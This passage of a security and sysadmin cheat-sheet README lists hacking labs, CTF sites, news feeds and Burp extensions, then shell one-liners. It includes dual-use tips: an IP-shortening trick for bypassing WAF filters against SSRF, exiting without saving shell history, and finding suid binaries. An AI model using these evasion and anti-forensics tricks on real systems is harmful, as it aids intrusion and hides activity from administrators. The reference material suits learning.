Top Web & Api).<br> </p> ##### :black_small_square: Labs (ethical hacking platforms/trainings/CTFs) <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.offensive-security.com/"><b>Offensive Security</b></a> - true performance-based penetration testing training for over a decade.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hackthebox.eu/"><b>Hack The Box</b></a> - online platform allowing you to test your penetration testing skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hacking-lab.com/index.html"><b>Hacking-Lab</b></a> - online ethical hacking, computer network and security challenge platform.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://pwnable.kr/index.php"><b>pwnable.kr</b></a> - non-commercial wargame site which provides various pwn challenges.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pwnable.tw/"><b>Pwnable.tw</b></a> - is a wargame site for hackers to test and expand their binary exploiting skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://picoctf.com/"><b>picoCTF</b></a> - is a free computer security game targeted at middle and high school students.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ctflearn.com/"><b>CTFlearn</b></a> - is an online platform built to help ethical hackers learn and practice their cybersecurity knowledge.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ctftime.org/"><b>ctftime</b></a> - CTF archive and a place, where you can get some another CTF-related info.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://silesiasecuritylab.com/"><b>Silesia Security Lab</b></a> - high quality security testing services.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://practicalpentestlabs.com/"><b>Practical Pentest Labs</b></a> - pentest lab, take your Hacking skills to the next level.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.root-me.org/?lang=en"><b>Root Me</b></a> - the fast, easy, and affordable way to train your hacking skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://rozwal.to/login"><b>rozwal.to</b></a> - a great platform to train your pentesting skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://tryhackme.com/"><b>TryHackMe</b></a> - learning Cyber Security made easy.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hackxor.net/"><b>hackxor</b></a> - is a realistic web application hacking game, designed to help players of all abilities develop their skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://hack-yourself-first.com/"><b>Hack Yourself First</b></a> - it's full of nasty app sec holes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://overthewire.org/wargames/"><b>OverTheWire</b></a> - can help you to learn and practice security concepts in the form of fun-filled games.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://labs.wizard-security.net/"><b>Wizard Labs</b></a> - is an online Penetration Testing Lab.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://pentesterlab.com/"><b>PentesterLab</b></a> - provides vulnerable systems that can be used to test and understand vulnerabilities.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ringzer0ctf.com/"><b>RingZer0</b></a> - tons of challenges designed to test and improve your hacking skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.try2hack.nl/"><b>try2hack</b></a> - several security-oriented challenges for your entertainment.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ubeeri.com/preconfig-labs"><b>Ubeeri</b></a> - preconfigured lab environments.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://lab.pentestit.ru/"><b>Pentestit</b></a> - emulate IT infrastructures of real companies for legal pen testing and improving pentest skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://microcorruption.com/login"><b>Microcorruption</b></a> - reversal challenges done in the web interface.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://crackmes.one/"><b>Crackmes</b></a> - download crackmes to help improve your reverse engineering skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://domgo.at/cxss/intro"><b>DomGoat</b></a> - DOM XSS security learning and practicing platform.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://chall.stypr.com"><b>Stereotyped Challenges</b></a> - upgrade your web hacking techniques today!<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.vulnhub.com/"><b>Vulnhub</b></a> - allows anyone to gain practical 'hands-on' experience in digital security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://w3challs.com/"><b>W3Challs</b></a> - is a penetration testing training platform, which offers various computer challenges.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ringzer0ctf.com/challenges"><b>RingZer0 CTF</b></a> - offers you tons of challenges designed to test and improve your hacking skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hack.me/"><b>Hack.me</b></a> - a platform where you can build, host and share vulnerable web apps for educational purposes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hackthis.co.uk/levels/"><b>HackThis!</b></a> - discover how hacks, dumps and defacements are performed and secure your website.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.enigmagroup.org/#"><b>Enigma Group WebApp Training</b></a> - these challenges cover the exploits listed in the OWASP Top 10 Project.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://challenges.re/"><b>Reverse Engineering Challenges</b></a> - challenges, exercises, problems and tasks - by level, by type, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://0x00sec.org/"><b>0x00sec</b></a> - the home of the Hacker - Malware, Reverse Engineering, and Computer Science.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.wechall.net/challs"><b>We Chall</b></a> - there are exist a lots of different challenge types.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hackergateway.com/"><b>Hacker Gateway</b></a> - is the go-to place for hackers who want to test their skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hacker101.com/"><b>Hacker101</b></a> - is a free class for web security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://contained.af/"><b>contained.af</b></a> - a stupid game for learning about containers, capabilities, and syscalls.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://flaws.cloud/"><b>flAWS challenge!</b></a> - a series of levels you'll learn about common mistakes and gotchas when using AWS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cybersecurity.wtf"><b>CyberSec WTF</b></a> - provides web hacking challenges derived from bounty write-ups.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ctfchallenge.co.uk/login"><b>CTF Challenge</b></a> - CTF Web App challenges.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://capturetheflag.withgoogle.com"><b>gCTF</b></a> - most of the challenges used in the Google CTF 2017.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.hackthissite.org/pages/index/index.php"><b>Hack This Site</b></a> - is a free, safe and legal training ground for hackers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://attackdefense.com"><b>Attack & Defense</b></a> - is a browser-based cloud labs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cryptohack.org/"><b>Cryptohack</b></a> - a fun platform for learning modern cryptography.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cryptopals.com/"><b>Cryptopals</b></a> - the cryptopals crypto challenges.<br> </p> ##### :black_small_square: CTF platforms <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/facebook/fbctf"><b>fbctf</b></a> - platform to host Capture the Flag competitions.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/google/ctfscoreboard"><b>ctfscoreboard</b></a> - scoreboard for Capture The Flag competitions.<br> </p> ##### :black_small_square: Other resources <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bugcrowd/bugcrowd_university"><b>Bugcrowd University</b></a> - open source education content for the researcher community.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rewardone/OSCPRepo"><b>OSCPRepo</b></a> - a list of resources and scripts that I have been gathering in preparation for the OSCP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://medium.com/@cxosmo/owasp-top-10-real-world-examples-part-1-a540c4ea2df5"><b>OWASP Top 10: Real-World Examples</b></a> - test your web apps with real-world examples (two-part series).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://phrack.org/index.html"><b>phrack.org</b></a> - an awesome collection of articles from several respected hackers and other thinkers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Gr1mmie/Practical-Ethical-Hacking-Resources"><b>Practical-Ethical-Hacking-Resources</b></a> - compilation of resources from TCM's Udemy Course.<br> </p> #### Your daily knowledge and news &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: RSS Readers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://feedly.com/"><b>Feedly</b></a> - organize, read and share what matters to you.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.inoreader.com/"><b>Inoreader</b></a> - similar to feedly with a support for filtering what you fetch from rss.<br> </p> ##### :black_small_square: IRC Channels <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wiki.hackerspaces.org/IRC_Channel"><b>#hackerspaces</b></a> - hackerspace IRC channels.<br> </p> ##### :black_small_square: Security <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://thehackernews.com/"><b>The Hacker News</b></a> - leading news source dedicated to promoting awareness for security experts and hackers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://latesthackingnews.com/"><b>Latest Hacking News</b></a> - provides the latest hacking news, exploits and vulnerabilities for ethical hackers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://securitynewsletter.co/"><b>Security Newsletter</b></a> - security news as a weekly digest (email notifications).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://security.googleblog.com/"><b>Google Online Security Blog</b></a> - the latest news and insights from Google on security and safety on the Internet.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://blog.qualys.com/"><b>Qualys Blog</b></a> - expert network security guidance and news.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.darkreading.com/"><b>DARKReading</b></a> - connecting the Information Security Community.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.darknet.org.uk/"><b>Darknet</b></a> - latest hacking tools, hacker news, cybersecurity best practices, ethical hacking & pen-testing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/disclosedh1"><b>publiclyDisclosed</b></a> - public disclosure watcher who keeps you up to date about the recently disclosed bugs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.reddit.com/r/hacking/"><b>Reddit - Hacking</b></a> - a subreddit dedicated to hacking and hackers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://packetstormsecurity.com/"><b>Packet Storm</b></a> - information security services, news, files, tools, exploits, advisories and whitepapers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://sekurak.pl/"><b>Sekurak</b></a> - about security, penetration tests, vulnerabilities and many others (PL/EN).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nfsec.pl/"><b>nf.sec</b></a> - basic aspects and mechanisms of Linux operating system security (PL).<br> </p> ##### :black_small_square: Other/All-in-one <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://changelog.com/"><b>Changelog</b></a> - is a community of hackers; news & podcasts for developers and hackers.<br> </p> #### Other Cheat Sheets &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ###### Build your own DNS Servers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://calomel.org/unbound_dns.html"><b>Unbound DNS Tutorial</b></a> - a validating, recursive, and caching DNS server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.ctrl.blog/entry/knot-dns-resolver-tutorial.html"><b>Knot Resolver on Fedora</b></a> - how to get faster and more secure DNS resolution with Knot Resolver on Fedora.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.aaflalo.me/2018/10/tutorial-setup-dns-over-https-server/"><b>DNS-over-HTTPS</b></a> - tutorial to setup your own DNS-over-HTTPS (DoH) server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hacks.mozilla.org/2018/05/a-cartoon-intro-to-dns-over-https/"><b>dns-over-https</b></a> - a cartoon intro to DNS over HTTPS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.aaflalo.me/2019/03/dns-over-tls/"><b>DNS-over-TLS</b></a> - following to your DoH server, setup your DNS-over-TLS (DoT) server.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://zwischenzugs.com/2018/01/26/how-and-why-i-run-my-own-dns-servers/"><b>DNS Servers</b></a> - how (and why) i run my own DNS Servers.<br> </p> ###### Build your own Certificate Authority <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://jamielinux.com/docs/openssl-certificate-authority/"><b>OpenSSL Certificate Authority</b></a> - build your own certificate authority (CA) using the OpenSSL tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/smallstep/certificates"><b>step-ca Certificate Authority</b></a> - build your own certificate authority (CA) using open source step-ca.<br> </p> ###### Build your own System/Virtual Machine <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/cfenollosa/os-tutorial"><b>os-tutorial</b></a> - how to create an OS from scratch.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://justinmeiners.github.io/lc3-vm/"><b>Write your Own Virtual Machine</b></a> - how to write your own virtual machine (VM).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/cirosantilli/x86-bare-metal-examples"><b>x86 Bare Metal Examples</b></a> - dozens of minimal operating systems to learn x86 system programming.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/djhworld/simple-computer"><b>simple-computer</b></a> - the scott CPU from "But How Do It Know?" by J. Clark Scott.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://littleosbook.github.io/"><b>littleosbook</b></a> - the little book about OS development.<br> </p> ###### DNS Servers list (privacy) | <b><u>IP</u></b> | <b><u>URL</u></b> | | :--- | :--- | | **`84.200.69.80`** | [dns.watch](https://dns.watch/) | | **`94.247.43.254`** | [opennic.org](https://www.opennic.org/) | | **`64.6.64.6`** | [verisign.com](https://www.verisign.com/en_US/security-services/public-dns/index.xhtml) | | **`89.233.43.71`** | [censurfridns.dk](https://blog.uncensoreddns.org/) | | **`1.1.1.1`** | [cloudflare.com](https://1.1.1.1/) | | **`94.130.110.185`** | [dnsprivacy.at](https://dnsprivacy.at/) | ###### TOP Browser extensions | <b><u>Extension name</u></b> | <b><u>Description</u></b> | | :--- | :--- | | **`IPvFoo`** | Display the server IP address and HTTPS information across all page elements. | | **`FoxyProxy`** | Simplifies configuring browsers to access proxy-servers. | | **`HTTPS Everywhere`** | Automatically use HTTPS security on many sites. | | **`uMatrix`** | Point & click to forbid/allow any class of requests made by your browser. | | **`uBlock Origin`** | An efficient blocker: easy on memory and CPU footprint. | | **`Session Buddy`** | Manage browser tabs and bookmarks with ease. | | **`SuperSorter`** | Sort bookmarks recursively, delete duplicates, merge folders, and more. | | **`Clear Cache`** | Clear your cache and browsing data. | | **`d3coder`** | Encoding/Decoding plugin for various types of encoding. | | **`Web Developer`** | Adds a toolbar button with various web developer tools. | | **`ThreatPinch Lookup`** | Add threat intelligence hover tool tips. | ###### TOP Burp extensions | <b><u>Extension name</u></b> | <b><u>Description</u></b> | | :--- | :--- | | **`Active Scan++`** | Extends Burp's active and passive scanning capabilities. | | **`Autorize`** | Automatically detects authorization enforcement. | | **`AuthMatrix`** | A simple matrix grid to define the desired levels of access privilege. | | **`Logger++`** | Logs requests and responses for all Burp tools in a sortable table. | | **`Bypass WAF`** | Adds headers useful for bypassing some WAF devices. | | **`JSON Beautifier`** | Beautifies JSON content in the HTTP message viewer. | | **`JSON Web Tokens`** | Enables Burp to decode and manipulate JSON web tokens. | | **`CSP Auditor`** | Displays CSP headers for responses, and passively reports CSP weaknesses. | | **`CSP-Bypass`** | Passively scans for CSP headers that contain known bypasses. | | **`Hackvertor`** | Converts data using a tag-based configuration to apply various encoding. | | **`HTML5 Auditor`** | Scans for usage of risky HTML5 features. | | **`Software Vulnerability Scanner`** | Vulnerability scanner based on vulners.com audit API. | | **`Turbo Intruder`** | Is a powerful bruteforcing tool. | | **`Upload Scanner`** | Upload a number of different file types, laced with different forms of payload. | ###### Hack Mozilla Firefox address bar In Firefox's address bar, you can limit results by typing special characters before or after your term: - `^` - for matches in your browsing history - `*` - for matches in your bookmarks. - `%` - for matches in your currently open tabs. - `#` - for matches in page titles. - `@` - for matches in web addresses. ###### Chrome hidden commands - `chrome://chrome-urls` - list of all commands - `chrome://flags` - enable experiments and development features - `chrome://interstitials` - errors and warnings - `chrome://net-internals` - network internals (events, dns, cache) - `chrome://network-errors` - network errors - `chrome://net-export` - start logging future network activity to a file - `chrome://safe-browsing` - safe browsing options - `chrome://user-actions` - record all user actions - `chrome://restart` - restart chrome - `chrome://dino` - ERR_INTERNET_DISCONNECTED... - `cache:<website-address>` - view the cached version of the web page ###### Bypass WAFs by Shortening IP Address (by [0xInfection](https://twitter.com/0xInfection)) IP addresses can be shortened by dropping the zeroes: ``` http://1.0.0.1 → http://1.1 http://127.0.0.1 → http://127.1 http://192.168.0.1 → http://192.168.1 http://0xC0A80001 or http://3232235521 → 192.168.0.1 http://192.168.257 → 192.168.1.1 http://192.168.516 → 192.168.2.4 ``` > This bypasses WAF filters for SSRF, open-redirect, etc where any IP as input gets blacklisted. For more information please see [How to Obscure Any URL](http://www.pc-help.org/obscure.htm) and [Magic IP Address Shortcuts](https://stuff-things.net/2014/09/25/magic-ip-address-shortcuts/). ###### Hashing, encryption and encoding (by [Michal Špaček](https://twitter.com/spazef0rze)) _Hashing_ plaintext :arrow_right: hash<br> hash :no_entry: plaintext _Symmetric encryption_ plaintext :arrow_right: :key: :arrow_right: ciphertext<br> plaintext :arrow_left: :key: :arrow_left: ciphertext<br> (:key: shared key) _Asymmetric encryption_ plaintext :arrow_right: :key: :arrow_right: ciphertext<br> plaintext :arrow_left: :part_alternation_mark: :arrow_left: ciphertext<br> (:key: public key, :part_alternation_mark: private key)<br> _Encoding_ text :arrow_right: encoded<br> text :arrow_left: encoded #### Shell One-liners &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### Table of Contents * [terminal](#tool-terminal) * [busybox](#tool-busybox) * [mount](#tool-mount) * [fuser](#tool-fuser) * [lsof](#tool-lsof) * [ps](#tool-ps) * [top](#tool-top) * [vmstat](#tool-vmstat) * [iostat](#tool-iostat) * [strace](#tool-strace) * [kill](#tool-kill) * [find](#tool-find) * [diff](#tool-diff) * [vimdiff](#tool-vimdiff) * [tail](#tool-tail) * [cpulimit](#tool-cpulimit) * [pwdx](#tool-pwdx) * [tr](#tool-tr) * [chmod](#tool-chmod) * [who](#tool-who) * [last](#tool-last) * [screen](#tool-screen) * [script](#tool-script) * [du](#tool-du) * [inotifywait](#tool-inotifywait) * [openssl](#tool-openssl) * [secure-delete](#tool-secure-delete) * [dd](#tool-dd) * [gpg](#tool-gpg) * [system-other](#tool-system-other) * [curl](#tool-curl) * [httpie](#tool-httpie) * [ssh](#tool-ssh) * [linux-dev](#tool-linux-dev) * [tcpdump](#tool-tcpdump) * [tcpick](#tool-tcpick) * [ngrep](#tool-ngrep) * [hping3](#tool-hping3) * [nmap](#tool-nmap) * [netcat](#tool-netcat) * [socat](#tool-socat) * [p0f](#tool-p0f) * [gnutls-cli](#tool-gnutls-cli) * [netstat](#tool-netstat) * [rsync](#tool-rsync) * [host](#tool-host) * [dig](#tool-dig) * [certbot](#tool-certbot) * [network-other](#tool-network-other) * [git](#tool-git) * [awk](#tool-awk) * [sed](#tool-sed) * [grep](#tool-grep) * [perl](#tool-perl) ##### Tool: [terminal](https://en.wikipedia.org/wiki/Linux_console) ###### Reload shell without exit ```bash exec $SHELL -l ``` ###### Close shell keeping all subprocess running ```bash disown -a && exit ``` ###### Exit without saving shell history ```bash kill -9 $$ unset HISTFILE && exit ``` ###### Perform a branching conditional ```bash true && echo success false || echo failed ``` ###### Pipe stdout and stderr to separate commands ```bash some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr) ``` ###### Redirect stdout and stderr each to separate files and print both to the screen ```bash (some_command 2>&1 1>&3 | tee errorlog ) 3>&1 1>&2 | tee stdoutlog ``` ###### List of commands you use most often ```bash history | \ awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | \ grep -v "./" | \ column -c3 -s " " -t | \ sort -nr | nl | head -n 20 ``` ###### Sterilize bash history ```bash function sterile() { history | awk '$2 != "history" { $1=""; print $0 }' | egrep -vi "\ curl\b+.*(-E|--cert)\b+.*\b*|\ curl\b+.*--pass\b+.*\b*|\ curl\b+.*(-U|--proxy-user).*:.*\b*|\ curl\b+.*(-u|--user).*:.*\b* .*(-H|--header).*(token|auth.*)\b+.*|\ wget\b+.*--.*password\b+.*\b*|\ http.?://.+:.+@.*\ " > $HOME/histbuff; history -r $HOME/histbuff; } export PROMPT_COMMAND="sterile" ``` > Look also: [A naive utility to censor credentials in command history](https://github.com/lbonanomi/go/blob/master/revisionist.go). ###### Quickly backup a file ```bash cp filename{,.orig} ``` ###### Empty a file (truncate to 0 size) ```bash >filename ``` ###### Delete all files in a folder that don't match a certain file extension ```bash rm !(*.foo|*.bar|*.baz) ``` ###### Pass multi-line string to a file ```bash # cat >filename ... - overwrite the file # cat >>filename ... - append to a file cat > filename << __EOF__ data data data __EOF__ ``` ###### Edit a file on a remote host using vim ```bash vim scp://user@host//etc/fstab ``` ###### Create a directory and change into it at the same time ```bash mkd() { mkdir -p "$@" && cd "$@"; } ``` ###### Convert uppercase files to lowercase files ```bash rename 'y/A-Z/a-z/' * ``` ###### Print a row of characters across the terminal ```bash printf "%`tput cols`s" | tr ' ' '#' ``` ###### Show shell history without line numbers ```bash history | cut -c 8- fc -l -n 1 | sed 's/^\s*//' ``` ###### Run command(s) after exit session ```bash cat > /etc/profile << __EOF__ _after_logout() { username=$(whoami) for _pid in $(ps afx | grep sshd | grep "$username" | awk '{print $1}') ; do kill -9 $_pid done } trap _after_logout EXIT __EOF__ ``` ###### Generate a sequence of numbers ```bash for ((i=1; i<=10; i+=2)) ; do echo $i ; done # alternative: seq 1 2 10 for ((i=5; i<=10; ++i)) ; do printf '%02d\n' $i ; done # alternative: seq -w 5 10 for i in {1..10} ; do echo $i ; done ``` ###### Simple Bash filewatching ```bash unset MAIL; export MAILCHECK=1; export MAILPATH='$FILE_TO_WATCH?$MESSAGE' ``` --- ##### Tool: [busybox](https://www.busybox.net/) ###### Static HTTP web server ```bash busybox httpd -p $PORT -h $HOME [-c httpd.conf] ``` ___ ##### Tool: [mount](https://en.wikipedia.org/wiki/Mount_(Unix)) ###### Mount a temporary ram partition ```bash mount -t tmpfs tmpfs /mnt -o size=64M ``` * `-t` - filesystem type * `-o` - mount options ###### Remount a filesystem as read/write ```bash mount -o remount,rw / ``` ___ ##### Tool: [fuser](https://en.wikipedia.org/wiki/Fuser_(Unix)) ###### Show which processes use the files/directories ```bash fuser /var/log/daemon.log fuser -v /home/supervisor ``` ###### Kills a process that is locking a file ```bash fuser -ki filename ``` * `-i` - interactive option ###### Kills a process that is locking a file with specific signal ```bash fuser -k -HUP filename ``` * `--list-signals` - list available signal names ###### Show what PID is listening on specific port ```bash fuser -v 53/udp ``` ###### Show all processes using the named filesystems or block device ```bash fuser -mv /var/www ``` ___ ##### Tool: [lsof](https://en.wikipedia.org/wiki/Lsof) ###### Show process that use internet connection at the moment ```bash lsof -P -i -n ``` ###### Show process that use specific port number ```bash lsof -i tcp:443 ``` ###### Lists all listening ports together with the PID of the associated process ```bash lsof -Pan -i tcp -i udp ``` ###### List all open ports and their owning executables ```bash lsof -i -P | grep -i "listen" ``` ###### Show all open ports ```bash lsof -Pnl -i ``` ###### Show open ports (LISTEN) ```bash lsof -Pni4 | grep LISTEN | column -t ``` ###### List all files opened by a particular command ```bash lsof -c "process" ``` ###### View user activity per directory ```bash lsof -u username -a +D /etc ``` ###### Show 10 largest open files ```bash lsof / | \ awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | \ sort -n -u | tail | column -t ``` ###### Show current working directory of a process ```bash lsof -p <PID> | grep cwd ``` ___ ##### Tool: [ps](https://en.wikipedia.org/wiki/Ps_(Unix)) ###### Show a 4-way scrollable process tree with full details ```bash ps awwfux | less -S ``` ###### Processes per user counter ```bash ps hax -o user | sort | uniq -c | sort -r ``` ###### Show all processes by name with main header ```bash ps -lfC nginx ``` ___ ##### Tool: [find](https://en.wikipedia.org/wiki/Find_(Unix)) ###### Find files that have been modified on your system in the past 60 minutes ```bash find / -mmin 60 -type f ``` ###### Find all files larger than 20M ```bash find / -type f -size +20M ``` ###### Find duplicate files (based on MD5 hash) ```bash find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 ``` ###### Change permission only for files ```bash cd /var/www/site && find . -type f -exec chmod 766 {} \; cd /var/www/site && find . -type f -exec chmod 664 {} + ``` ###### Change permission only for directories ```bash cd /var/www/site && find . -type d -exec chmod g+x {} \; cd /var/www/site && find . -type d -exec chmod g+rwx {} + ``` ###### Find files and directories for specific user/group ```bash # User: find . -user <username> -print find /etc -type f -user <username> -name "*.conf" # Group: find /opt -group <group> find /etc -type f -group <group> -iname "*.conf" ``` ###### Find files and directories for all without specific user/group ```bash # User: find . \! -user <username> -print # Group: find . \! -group <group> ``` ###### Looking for files/directories that only have certain permission ```bash # User find . -user <username> -perm -u+rw # -rw-r--r-- find /home -user $(whoami) -perm 777 # -rwxrwxrwx # Group: find /home -type d -group <group> -perm 755 # -rwxr-xr-x ``` ###### Delete older files than 60 days ```bash find . -type f -mtime +60 -delete ``` ###### Recursively remove all empty sub-directories from a directory ```bash find . -depth -type d -empty -exec rmdir {} \; ``` ###### How to find all hard links to a file ```bash find </path/to/dir> -xdev -samefile filename ``` ###### Recursively find the latest modified files ```bash find . -type f -exec stat --format '%Y :%y %n' "{}" \; | sort -nr | cut -d: -f2- | head ``` ###### Recursively find/replace of a string with sed ```bash find . -not -path '*/\.git*' -type f -print0 | xargs -0 sed -i 's/foo/bar/g' ``` ###### Recursively find/replace of a string in directories and file names ```bash find . -depth -name '*test*' -execdir bash -c 'mv -v "$1" "${1//foo/bar}"' _ {} \; ``` ###### Recursively find suid executables ```bash find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; ``` ___ ##### Tool: [top](https://en.wikipedia.org/wiki/Top_(software)) ###### Use top to monitor only all processes with the specific string ```bash top -p $(pgrep -d , <str>) ``` * `<str>` - process containing string (eg. nginx, worker) ___ ##### Tool: [vmstat](https://en.wikipedia.org/wiki/Vmstat) ###### Show current system utilization (fields in kilobytes) ```bash vmstat 2 20 -t -w ``` * `2` - number of times with a defined time interval (delay) * `20` - each execution of the command (count) * `-t` - show timestamp * `-w` - wide output * `-S M` - output of the fields in megabytes instead of kilobytes ###### Show current system utilization will get refreshed every 5 seconds ```bash vmstat 5 -w ``` ###### Display report a summary of disk operations ```bash vmstat -D ``` ###### Display report of event counters and memory stats ```bash vmstat -s ``` ###### Display report about kernel objects stored in slab layer cache ```bash vmstat -m ``` ##### Tool: [iostat](https://en.wikipedia.org/wiki/Iostat) ###### Show information about the CPU usage, and I/O statistics about all the partitions ```bash iostat 2 10 -t -m ``` * `2` - number of times with a defined time interval (delay) * `10` - each execution of the command (count) * `-t` - show timestamp * `-m` - fields in megabytes (`-k` - in kilobytes, default) ###### Show information only about the CPU utilization ```bash iostat 2 10 -t -m -c ``` ###### Show information only about the disk utilization ```bash iostat 2 10 -t -m -d ``` ###### Show information only about the LVM utilization ```bash iostat -N ``` ___ ##### Tool: [strace](https://en.wikipedia.org/wiki/Strace) ###### Track with child processes ```bash # 1) strace -f -p $(pidof glusterfsd) # 2) strace -f $(pidof php-fpm | sed 's/\([0-9]*\)/\-p \1/g') ``` ###### Track process with 30 seconds limit ```bash timeout 30 strace $(< /var/run/zabbix/zabbix_agentd.pid) ``` ###### Track processes and redirect output to a file ```bash ps auxw | grep '[a]pache' | awk '{print " -p " $2}' | \ xargs strace -o /tmp/strace-apache-proc.out ``` ###### Track with print time spent in each syscall and limit length of print strings ```bash ps auxw | grep '[i]init_policy' | awk '{print " -p " $2}' | \ xargs strace -f -e trace=network -T -s 10000 ``` ###### Track the open request of a network port ```bash strace -f -e trace=bind nc -l 80 ``` ###### Track the open request of a network port (show TCP/UDP) ```bash strace -f -e trace=network nc -lu 80 ``` ___ ##### Tool: [kill](https://en.wikipedia.org/wiki/Kill_(command)) ###### Kill a process running on port ```bash kill -9 $(lsof -i :<port> | awk '{l=$2} END {print l}') ``` ___ ##### Tool: [diff](https://en.wikipedia.org/wiki/Diff) ###### Compare two directory trees ```bash diff <(cd directory1 && find | sort) <(cd directory2 && find | sort) ``` ###### Compare output of two commands ```bash diff <(cat /etc/passwd) <(cut -f2 /etc/passwd) ``` ___ ##### Tool: [vimdiff](http://vimdoc.sourceforge.net/htmldoc/diff.html) ###### Highlight the exact differences, based on characters and words ```bash vimdiff file1 file2 ``` ###### Compare two JSON files ```bash vimdiff <(jq -S . A.json) <(jq -S . B.json) ``` ###### Compare Hex dump ```bash d(){ vimdiff <(f $1) <(f $2);};f(){ hexdump -C $1 | cut -d' ' -f3- | tr -s ' ';}; d ~/bin1 ~/bin2 ``` ###### diffchar Save [diffchar](https://raw.githubusercontent.com/vim-scripts/diffchar.vim/master/plugin/diffchar.vim) @ `~/.vim/plugins` Click `F7` to switch between diff modes Usefull `vimdiff` commands: * `qa` to exit all windows * `:vertical resize 70` to resize window * set window width `Ctrl+W [N columns]+(Shift+)<\>` ___ ##### Tool: [tail](https://en.wikipedia.org/wiki/Tail_(Unix)) ###### Annotate tail -f with timestamps ```bash tail -f file | while read ; do echo "$(date +%T.%N) $REPLY" ; done ``` ###### Analyse an Apache access log 